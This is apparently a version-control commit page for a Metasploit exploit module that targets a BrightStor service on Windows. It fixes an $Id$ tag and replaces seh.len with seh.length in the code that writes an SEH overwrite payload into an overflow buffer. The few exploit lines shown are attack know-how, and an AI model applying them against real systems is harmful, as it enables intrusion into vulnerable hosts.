fix #18
git-svn-id: file:///home/svn/framework3/trunk@4445 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
4983d73d71
commit
a3030f2a01
|
@ -1,5 +1,5 @@
|
||||||
##
|
##
|
||||||
# $Id:$
|
# $Id$
|
||||||
##
|
##
|
||||||
|
|
||||||
##
|
##
|
||||||
|
@ -117,7 +117,7 @@ class Exploits::Windows::Brightstor::BrightstorDiscoTcp < Msf::Exploit::Remote
|
||||||
# the SEH frame instead, making things a bit easier.
|
# the SEH frame instead, making things a bit easier.
|
||||||
|
|
||||||
seh = generate_seh_payload(target.ret)
|
seh = generate_seh_payload(target.ret)
|
||||||
buf[1024, seh.len] = seh
|
buf[1024, seh.length] = seh
|
||||||
|
|
||||||
# Make sure the return address is invalid to trigger SEH
|
# Make sure the return address is invalid to trigger SEH
|
||||||
buf[ 900, 100] = (rand(127)+128).chr * 100
|
buf[ 900, 100] = (rand(127)+128).chr * 100
|
||||||
|
|
Loading…
Reference in New Issue